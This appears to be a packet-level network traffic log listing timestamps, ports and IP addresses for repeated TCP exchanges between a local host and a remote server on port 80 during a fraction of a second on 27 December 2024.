Dec 27, 2024 08:50:52.783700943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.783737898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.783766985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.784459114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.784476995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.784488916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.784512997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.784531116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.784545898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.785254002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.785267115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.785283089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.785300016 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.785322905 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.785375118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.785978079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.786036968 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.786037922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.786051989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.786086082 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.786159039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.786781073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.786824942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.786828041 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.786844969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.786875010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.786911011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.787563086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.787606001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.787611008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.787623882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.787653923 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.787687063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.788351059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.788392067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.788403034 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.788408041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.788446903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.788487911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.789164066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.789206028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.789206982 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.789218903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.789258957 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.789292097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.789944887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.789990902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.789994001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.790004015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.790040016 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.790093899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.790724039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.790769100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.790770054 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.790781975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.790812016 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.790843010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.791501999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.791548967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.791549921 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.791560888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.791594982 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.791659117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.792290926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.792335987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.792346954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.792361021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.792398930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.792402029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.793119907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.793138027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.793152094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.793162107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.793180943 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.793194056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.793831110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.793874979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.833014965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.833152056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.833164930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.833178043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.833201885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.833250046 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.833323002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.833391905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.833408117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.833431005 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.881102085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.976474047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.976509094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.976521969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.976555109 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.976557016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.976603031 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.976845026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.976905107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.976919889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.976942062 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.977328062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.977369070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.977381945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.977396965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.977411032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.977433920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.978087902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.978130102 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.978133917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.978148937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.978187084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.978214979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.978904963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.978949070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.978950024 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.978961945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.979001045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.979063988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.979684114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.979727030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.979727983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.979742050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.979785919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.979852915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.980456114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.980501890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.980503082 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.980516911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.980557919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.980597019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.981271982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.981285095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.981297016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.981338024 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.981364965 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.981364012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.982033968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.982057095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.982069969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.982083082 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.982096910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.982182980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.982912064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.982929945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.982961893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.982969046 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.982978106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.983006001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.983618975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.983639956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.983653069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.983669043 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.983685970 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.983750105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.984406948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.984448910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.984452963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.984472990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.984520912 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.984544039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.985200882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.985222101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.985234976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.985240936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.985285997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.985317945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.985990047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.986016035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.986027956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.986042023 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.986063004 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.986141920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.986766100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.986787081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.986800909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.986809969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.986848116 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.986872911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.987564087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.987586975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.987600088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.987613916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.987657070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.987689018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.988358021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.988408089 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.988413095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.988426924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.988465071 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.988549948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.989260912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.989273071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.989288092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.989314079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.989326954 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.989341021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.989917994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.989965916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.989974022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.989988089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.990025043 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.990072012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.990708113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.990755081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.990755081 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.990768909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.990812063 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.990850925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.991525888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.991538048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.991558075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.991576910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.991591930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.991635084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.992275953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.992326975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.992331982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.992345095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.992394924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.992420912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.993071079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.993113995 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.993128061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.993141890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.993180037 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.993206024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.993856907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.993900061 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.993915081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.993928909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.993962049 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.993999004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.994628906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.994680882 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.994700909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.994715929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.994750977 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.994828939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.995440006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.995491028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.034255028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.034272909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.034286976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.034315109 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.034356117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.034399033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.034564972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.034586906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.034599066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.034668922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.084202051 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.177815914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.177834988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.177850962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.177882910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.177958012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.178023100 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.178158045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.178217888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.178230047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.178261042 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.178313017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.178457975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.178941011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.178962946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.178976059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.179019928 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.179061890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.179722071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.179759979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.179763079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.179776907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.179800987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.179848909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.180520058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.180547953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.180557013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.180561066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.180593014 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.180639029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.180680990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.181302071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.181349993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.181369066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.181413889 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.181442022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.182077885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.182125092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.182137012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.182143927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.182167053 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.182218075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.182466984 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.182881117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.182915926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.182929039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.182972908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.183029890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.183691978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.183727026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.183732033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.183741093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.183778048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.183795929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.184448004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.184493065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.184495926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.184505939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.184541941 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.184572935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.184611082 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.185249090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.185283899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.185301065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.185329914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.185405970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.186055899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.186075926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.186088085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.186101913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.186132908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.186176062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.186453104 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.186870098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.186881065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.186893940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.186945915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.186959982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.187652111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.187700987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.187756062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.187767982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.187793970 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.187870979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.188405991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.188433886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.188446045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.188466072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.188494921 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.188536882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.188572884 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.189182043 CET	80	49752	185.215.113.16	192.168.2.6
